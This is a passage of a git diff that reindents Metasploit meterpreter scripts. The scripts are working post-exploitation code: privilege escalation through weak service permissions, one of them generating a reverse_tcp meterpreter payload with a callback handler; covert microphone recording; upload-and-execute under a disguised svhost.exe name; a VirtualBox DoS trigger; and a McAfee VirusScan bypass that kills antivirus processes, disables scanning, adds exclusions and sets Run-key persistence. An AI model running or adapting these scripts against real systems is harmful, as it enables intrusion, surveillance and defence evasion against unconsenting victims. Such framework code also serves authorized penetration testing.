client.fs.file.expand_path(sourceorig) - if( sourcemaybe[0] == '"' ) - sourcemaybe = sourcemaybe.split('"')[1] - else - sourcemaybe = sourcemaybe.split(' ')[0] - end - begin - client.fs.file.stat(sourcemaybe) #check if it really exists - source = sourcemaybe - rescue - print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") - end - #try to exploit weak file permissions - if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) - client.railgun.kernel32.CopyFileA(tempexe, source, false) - print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.") - moved = true - end - #try to exploit weak config permissions - #open with SERVICE_CHANGE_CONFIG (0x0002) - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - if(servhandleret["return"] != 0) - #SERVICE_NO_CHANGE is 0xFFFFFFFF - if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) - print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") - configed = true - end - adv.CloseServiceHandle(servhandleret["return"]) + begin + srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s + if srvtype != "16" + continue + end + moved = false + configed = false + #default path, but there should be an ImagePath registry key + source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") + #get path to exe; parse out quotes and arguments + sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s + sourcemaybe = client.fs.file.expand_path(sourceorig) + if( sourcemaybe[0] == '"' ) + sourcemaybe = sourcemaybe.split('"')[1] + else + sourcemaybe = sourcemaybe.split(' ')[0] + end + begin + client.fs.file.stat(sourcemaybe) #check if it really exists + source = sourcemaybe + rescue + print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") + end + #try to exploit weak file permissions + if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) + client.railgun.kernel32.CopyFileA(tempexe, source, false) + print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.") + moved = true + end + #try to exploit weak config permissions + #open with SERVICE_CHANGE_CONFIG (0x0002) + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + if(servhandleret["return"] != 0) + #SERVICE_NO_CHANGE is 0xFFFFFFFF + if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) + print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") + configed = true + end + adv.CloseServiceHandle(servhandleret["return"]) - end - if(moved != true && configed != true) - print_status("No exploitable weak permissions found on #{serv}") - continue - end - print_status("Restarting #{serv}") - #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) - servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) - if(servhandleret["return"] != 0) - #SERVICE_CONTROL_STOP = 0x00000001 - if(adv.ControlService(servhandleret["return"],1,56)) - client.railgun.kernel32.Sleep(1000) - adv.StartServiceA(servhandleret["return"],0,nil) - print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") - #Cleanup - if moved == true - client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) - end - if configed == true - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) - adv.CloseServiceHandle(servhandleret["return"]) - end - if aggressive == false - raise Rex::Script::Completed - end - else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") - end - adv.CloseServiceHandle(servhandleret["return"]) - else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") - end - rescue - end + end + if(moved != true && configed != true) + print_status("No exploitable weak permissions found on #{serv}") + continue + end + print_status("Restarting #{serv}") + #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) + servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) + if(servhandleret["return"] != 0) + #SERVICE_CONTROL_STOP = 0x00000001 + if(adv.ControlService(servhandleret["return"],1,56)) + client.railgun.kernel32.Sleep(1000) + adv.StartServiceA(servhandleret["return"],0,nil) + print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") + #Cleanup + if moved == true + client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) + end + if configed == true + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) + adv.CloseServiceHandle(servhandleret["return"]) + end + if aggressive == false + raise Rex::Script::Completed + end + else + print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + end + adv.CloseServiceHandle(servhandleret["return"]) + else + print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + end + rescue + end end diff --git a/scripts/meterpreter/sound_recorder.rb b/scripts/meterpreter/sound_recorder.rb index d682b88848..84dfdaebe7 100644 --- a/scripts/meterpreter/sound_recorder.rb +++ b/scripts/meterpreter/sound_recorder.rb @@ -9,9 +9,9 @@ data = nil # 30 second durations to keep data moved small and minimize problems. duration = 30 @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-l" => [ true , "Specify a alternate folder to save sound files to."], - "-i" => [ true , "Number of 30 second intervals to record."] + "-h" => [ false, "Help menu." ], + "-l" => [ true , "Specify a alternate folder to save sound files to."], + "-i" => [ true , "Number of 30 second intervals to record."] ) meter_type = client.platform @@ -20,61 +20,61 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for recording in intervals the sound capture by a target host microphone." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for recording in intervals the sound capture by a target host microphone." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for creating log folder, returns path of folder. #------------------------------------------------------------------------------- def log_folder_create(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] + #Get hostname + host = @client.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', "sound_recorder", host + filenameinfo ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", "sound_recorder", host + filenameinfo ) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', "sound_recorder", host + filenameinfo ) + else + logs = ::File.join(Msf::Config.log_directory, "scripts", "sound_recorder", host + filenameinfo ) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) - return logs + # Create the log directory + ::FileUtils.mkdir_p(logs) + return logs end # Function for converting a number of seconds to time in minutes #------------------------------------------------------------------------------- def convert_seconds_to_time(seconds) - total_minutes = seconds / 1.minutes - seconds_in_last_minute = seconds - total_minutes.minutes.seconds - "#{total_minutes}m #{seconds_in_last_minute}s" + total_minutes = seconds / 1.minutes + seconds_in_last_minute = seconds - total_minutes.minutes.seconds + "#{total_minutes}m #{seconds_in_last_minute}s" end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - if ::File.directory? val - log_folder = log_folder_create(val) - else - print_error("Option provided #{val} is not a folder!") - raise Rex::Script::Completed - end - when "-i" - intervals = val.to_i - end + case opt + when "-h" + usage + when "-l" + if ::File.directory? val + log_folder = log_folder_create(val) + else + print_error("Option provided #{val} is not a folder!") + raise Rex::Script::Completed + end + when "-i" + intervals = val.to_i + end } # Check for Version of Meterpreter @@ -82,28 +82,28 @@ wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i # Create Folder for logs and get path for logs if not log_folder - log_folder = log_folder_create + log_folder = log_folder_create end print_status("Saving recorded audio to #{log_folder}") print_status("Recording a total of #{convert_seconds_to_time(intervals*30)}") (1..intervals).each do |i| - # Set file name - file_name = client.sys.config.sysinfo["Computer"] <<"_"<< i.to_s << ".wav" + # Set file name + file_name = client.sys.config.sysinfo["Computer"] <<"_"<< i.to_s << ".wav" - # Set path for file - path = ::File.join(log_folder,file_name) + # Set path for file + path = ::File.join(log_folder,file_name) - # Record audio - data = @client.webcam.record_mic(duration) + # Record audio + data = @client.webcam.record_mic(duration) - # Check if we got data if not we error and exit - if (data) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) - end - print_good( "\tAudio saved to: #{file_name}" ) - else - print_error("There appeats a microphone is not present or muted!") - raise Rex::Script::Completed - end + # Check if we got data if not we error and exit + if (data) + ::File.open( path, 'wb' ) do |fd| + fd.write( data ) + end + print_good( "\tAudio saved to: #{file_name}" ) + else + print_error("There appeats a microphone is not present or muted!") + raise Rex::Script::Completed + end end diff --git a/scripts/meterpreter/srt_webdrive_priv.rb b/scripts/meterpreter/srt_webdrive_priv.rb index fc2083e729..0b6f622ede 100644 --- a/scripts/meterpreter/srt_webdrive_priv.rb +++ b/scripts/meterpreter/srt_webdrive_priv.rb @@ -24,10 +24,10 @@ # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-m" => [ false, "Mitigate"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] + "-h" => [ false, "This help menu"], + "-m" => [ false, "Mitigate"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # @@ -41,88 +41,88 @@ pname = 'wdService.exe' #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i # # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.") - print_line(opts.usage) - raise Rex::Script::Completed - when "-m" - client.sys.process.get_processes().each do |m| - if ( m['name'] == pname ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + case opt + when "-h" + print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.") + print_line(opts.usage) + raise Rex::Script::Completed + when "-m" + client.sys.process.get_processes().each do |m| + if ( m['name'] == pname ) + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - # Set correct service security descriptor to mitigate the vulnerability - print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.") - client.sys.process.execute("cmd.exe /c sc sdset \"#{sname}\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", - nil, {'Hidden' => 'true'}) - end - end - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - end + # Set correct service security descriptor to mitigate the vulnerability + print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.") + client.sys.process.execute("cmd.exe /c sc sdset \"#{sname}\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", + nil, {'Hidden' => 'true'}) + end + end + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + end end client.sys.process.get_processes().each do |m| - if ( m['name'] == pname ) + if ( m['name'] == pname ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - # Build out the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate + # Build out the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - # Place our newly created exe in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - print_status("Sending EXE payload '#{tempexe}'.") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close + # Place our newly created exe in %TEMP% + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + print_status("Sending EXE payload '#{tempexe}'.") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close - # Stop the vulnerable service - print_status("Stopping service \"#{sname}\"...") - client.sys.process.execute("cmd.exe /c sc stop \"#{sname}\" ", nil, {'Hidden' => 'true'}) + # Stop the vulnerable service + print_status("Stopping service \"#{sname}\"...") + client.sys.process.execute("cmd.exe /c sc stop \"#{sname}\" ", nil, {'Hidden' => 'true'}) - # Set exe payload as service binpath - print_status("Setting \"#{sname}\" to #{tempexe}...") - client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) - sleep(1) + # Set exe payload as service binpath + print_status("Setting \"#{sname}\" to #{tempexe}...") + client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) + sleep(1) - # Restart the service - print_status("Restarting the \"#{sname}\" service...") - client.sys.process.execute("cmd.exe /c sc start \"#{sname}\" ", nil, {'Hidden' => 'true'}) + # Restart the service + print_status("Restarting the \"#{sname}\" service...") + client.sys.process.execute("cmd.exe /c sc start \"#{sname}\" ", nil, {'Hidden' => 'true'}) - # Our handler to recieve the callback. - handler = client.framework.exploits.create("multi/handler") - handler.datastore['WORKSPACE'] = client.workspace - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['ExitOnSession'] = false + # Our handler to recieve the callback. + handler = client.framework.exploits.create("multi/handler") + handler.datastore['WORKSPACE'] = client.workspace + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + handler.datastore['ExitOnSession'] = false - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) - # Set service binpath back to normal - client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= %ProgramFiles%\\WebDrive\\#{pname}", nil, {'Hidden' => 'true'}) + # Set service binpath back to normal + client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= %ProgramFiles%\\WebDrive\\#{pname}", nil, {'Hidden' => 'true'}) - end + end end diff --git a/scripts/meterpreter/uploadexec.rb b/scripts/meterpreter/uploadexec.rb index 641de0e67b..ccc997b884 100644 --- a/scripts/meterpreter/uploadexec.rb +++ b/scripts/meterpreter/uploadexec.rb @@ -1,89 +1,89 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-e" => [ true, "Executable or script to upload to target host." ], - "-o" => [ true, "Options for executable." ], - "-p" => [ false,"Path on target to upload executable, default is %TEMP%." ], - "-v" => [ false,"Verbose, return output of execution of uploaded executable." ], - "-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ] + "-h" => [ false,"Help menu." ], + "-e" => [ true, "Executable or script to upload to target host." ], + "-o" => [ true, "Options for executable." ], + "-p" => [ false,"Path on target to upload executable, default is %TEMP%." ], + "-v" => [ false,"Verbose, return output of execution of uploaded executable." ], + "-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ] ) ################## function declaration Declarations ################## def usage() - print_line "UploadExec -- upload a script or executable and run it" - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line "UploadExec -- upload a script or executable and run it" + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end def upload(session,file,trgloc = "") - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - if trgloc == "" - location = session.fs.file.expand_path("%TEMP%") - else - location = trgloc - end - begin - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - else - fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" - end - print_status("\tUploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("\t#{file} uploaded!") - print_status("\tUploaded as #{fileontrgt}") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - raise e - end - end - return fileontrgt + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == "" + location = session.fs.file.expand_path("%TEMP%") + else + location = trgloc + end + begin + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + fileontrgt = "#{location}\\svhost#{rand(100)}.exe" + else + fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" + end + print_status("\tUploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("\t#{file} uploaded!") + print_status("\tUploaded as #{fileontrgt}") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + raise e + end + end + return fileontrgt end #Function for executing a list of commands def cmd_on_trgt_exec(session,cmdexe,opt,verbose) - r='' - session.response_timeout=120 - if verbose == 1 - begin - print_status "\tRunning command #{cmdexe}" - r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - print_status("\t#{d}") - end - r.channel.close - r.close - rescue ::Exception => e - print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") - raise e - end - else - begin - print_status "\trunning command #{cmdexe}" - r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false}) - r.close - rescue ::Exception => e - print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") - raise e - end - end + r='' + session.response_timeout=120 + if verbose == 1 + begin + print_status "\tRunning command #{cmdexe}" + r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + print_status("\t#{d}") + end + r.channel.close + r.close + rescue ::Exception => e + print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") + raise e + end + else + begin + print_status "\trunning command #{cmdexe}" + r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false}) + r.close + rescue ::Exception => e + print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") + raise e + end + end end def m_unlink(session, path) - r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) - while(r.name) - select(nil, nil, nil, 0.10) - end - r.close + r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) + while(r.name) + select(nil, nil, nil, 0.10) + end + r.close end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i #parsing of Options @@ -94,31 +94,31 @@ path = "" verbose = 0 remove = 0 @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - file = val || "" - when "-o" - cmdopt = val - when "-p" - path = val - when "-v" - verbose = 1 - when "-h" - helpcall = 1 - when "-r" - remove = 1 - end + case opt + when "-e" + file = val || "" + when "-o" + cmdopt = val + when "-p" + path = val + when "-v" + verbose = 1 + when "-h" + helpcall = 1 + when "-r" + remove = 1 + end } if args.length == 0 || helpcall == 1 - usage + usage end print_status("Running Upload and Execute Meterpreter script....") exec = upload(session,file,path) cmd_on_trgt_exec(session,exec,cmdopt,verbose) if remove == 1 - print_status("\tDeleting #{exec}") - m_unlink(session, exec) + print_status("\tDeleting #{exec}") + m_unlink(session, exec) end print_status("Finished!") diff --git a/scripts/meterpreter/virtualbox_sysenter_dos.rb b/scripts/meterpreter/virtualbox_sysenter_dos.rb index 6aa80068b3..910e8f595d 100644 --- a/scripts/meterpreter/virtualbox_sysenter_dos.rb +++ b/scripts/meterpreter/virtualbox_sysenter_dos.rb @@ -2,23 +2,23 @@ # http://milw0rm.com/exploits/9323 opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323") - print_line("USAGE: run virtualbox_sysenter_dos") - print_status(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323") + print_line("USAGE: run virtualbox_sysenter_dos") + print_status(opts.usage) + raise Rex::Script::Completed + end } #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i diff --git a/scripts/meterpreter/virusscan_bypass.rb b/scripts/meterpreter/virusscan_bypass.rb index 7943288655..ccb56af973 100644 --- a/scripts/meterpreter/virusscan_bypass.rb +++ b/scripts/meterpreter/virusscan_bypass.rb @@ -10,45 +10,45 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-k" => [ false,"Only kills VirusScan processes"], - "-e" => [ true,"Executable to upload to target host. (modifies registry and exclusion list)" ] + "-h" => [ false,"Help menu." ], + "-k" => [ false,"Only kills VirusScan processes"], + "-e" => [ true,"Executable to upload to target host. (modifies registry and exclusion list)" ] ) ################## function declaration Declarations ################## def usage() - print_line "\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \t\tWeb: http://www.mertsarica.com" - print_line "----------------------------------------------------------------------------------------------" - print_line "Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it" - print_line "to exclusion list and set it to run at startup. (Requires administrator privilege)" - print_line "----------------------------------------------------------------------------------------------" - print_line(@@exec_opts.usage) + print_line "\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \t\tWeb: http://www.mertsarica.com" + print_line "----------------------------------------------------------------------------------------------" + print_line "Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it" + print_line "to exclusion list and set it to run at startup. (Requires administrator privilege)" + print_line "----------------------------------------------------------------------------------------------" + print_line(@@exec_opts.usage) end @path = "" @location = "" def upload(session,file,trgloc) - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - @location = session.fs.file.expand_path("%TEMP%") - begin - ext = file.scan(/\S*(.exe)/i) - if ext.join == ".exe" - fileontrgt = "#{@location}\\MS#{rand(100)}.exe" - else - fileontrgt = "#{@location}\\MS#{rand(100)}#{ext}" - end - @path = fileontrgt - print_status("Uploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("Uploaded as #{fileontrgt}") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - end - end - return fileontrgt + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + @location = session.fs.file.expand_path("%TEMP%") + begin + ext = file.scan(/\S*(.exe)/i) + if ext.join == ".exe" + fileontrgt = "#{@location}\\MS#{rand(100)}.exe" + else + fileontrgt = "#{@location}\\MS#{rand(100)}#{ext}" + end + @path = fileontrgt + print_status("Uploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("Uploaded as #{fileontrgt}") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + end + end + return fileontrgt end #parsing of Options @@ -56,51 +56,51 @@ file = "" helpcall = 0 killonly = 0 @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - file = val || "" - when "-h" - helpcall = 1 - when "-k" - killonly = 1 - end + case opt + when "-e" + file = val || "" + when "-h" + helpcall = 1 + when "-k" + killonly = 1 + end } if killonly == 0 - if file == "" - usage - raise Rex::Script::Completed - end + if file == "" + usage + raise Rex::Script::Completed + end end # Magic kill order :) avs = %W{ - shstat.exe - engineserver.exe - frameworkservice.exe - naprdmgr.exe - mctray.exe - mfeann.exe - vstskmgr.exe - mcshield.exe + shstat.exe + engineserver.exe + frameworkservice.exe + naprdmgr.exe + mctray.exe + mfeann.exe + vstskmgr.exe + mcshield.exe } av = 0 plist = client.sys.process.get_processes() plist.each do |x| - if (avs.index(x['name'].downcase)) - av = av + 1 - end + if (avs.index(x['name'].downcase)) + av = av + 1 + end end if av > 6 - print_status("VirusScan Enterprise v8.7.0i+ is running...") + print_status("VirusScan Enterprise v8.7.0i+ is running...") else - print_status("VirusScan Enterprise v8.7.0i+ is not running!") - raise Rex::Script::Completed + print_status("VirusScan Enterprise v8.7.0i+ is not running!") + raise Rex::Script::Completed end target_pid = nil @@ -112,8 +112,8 @@ print_status("Migrating to #{target}...") target_pid = client.sys.process[target] if not target_pid - print_error("Could not access the target process") - raise Rex::Script::Completed + print_error("Could not access the target process") + raise Rex::Script::Completed end print_status("Migrating into process ID #{target_pid}") @@ -122,84 +122,84 @@ client.core.migrate(target_pid) target_pid = nil if killonly == 1 - avs.each do |x| - # Get the target process pid - target_pid = client.sys.process[x] - print_status("Killing off #{x}...") - client.sys.process.kill(target_pid) - end + avs.each do |x| + # Get the target process pid + target_pid = client.sys.process[x] + print_status("Killing off #{x}...") + client.sys.process.kill(target_pid) + end else - avs.each do |x| - # Get the target process pid - target_pid = client.sys.process[x] - print_status("Killing off #{x}...") - client.sys.process.kill(target_pid) - end + avs.each do |x| + # Get the target process pid + target_pid = client.sys.process[x] + print_status("Killing off #{x}...") + client.sys.process.kill(target_pid) + end - # Upload it - exec = upload(session,file,"") + # Upload it + exec = upload(session,file,"") - # Initiailze vars - key = nil - value = nil - data = nil - type = nil + # Initiailze vars + key = nil + value = nil + data = nil + type = nil - # Mcafee registry key - key = 'HKLM\Software\Mcafee\VSCore\On Access Scanner\MCShield\Configuration\Default' + # Mcafee registry key + key = 'HKLM\Software\Mcafee\VSCore\On Access Scanner\MCShield\Configuration\Default' - # Split the key into its parts - root_key, base_key = client.sys.registry.splitkey(key) + # Split the key into its parts + root_key, base_key = client.sys.registry.splitkey(key) - # Disable when writing to disk option - value = "bScanIncoming" - data = 0 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Disable when writing to disk option + value = "bScanIncoming" + data = 0 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Disable when reading from disk option - value = "bScanOutgoing" - data = 0 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Disable when reading from disk option + value = "bScanOutgoing" + data = 0 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Disable detection of unwanted programs - value = "ApplyNVP" - data = 0 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Disable detection of unwanted programs + value = "ApplyNVP" + data = 0 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Increase the number of excluded items - value = "NumExcludeItems" - data = 1 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Increase the number of excluded items + value = "NumExcludeItems" + data = 1 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Add executable to excluded item folder - value = "ExcludedItem_0" - data = "3|3|" + @location - type = "REG_SZ" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Add executable to excluded item folder + value = "ExcludedItem_0" + data = "3|3|" + @location + type = "REG_SZ" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Set registry to run executable at startup - key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' - # Split the key into its parts - root_key, base_key = client.sys.registry.splitkey(key) - value = "MS" - data = @path - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> 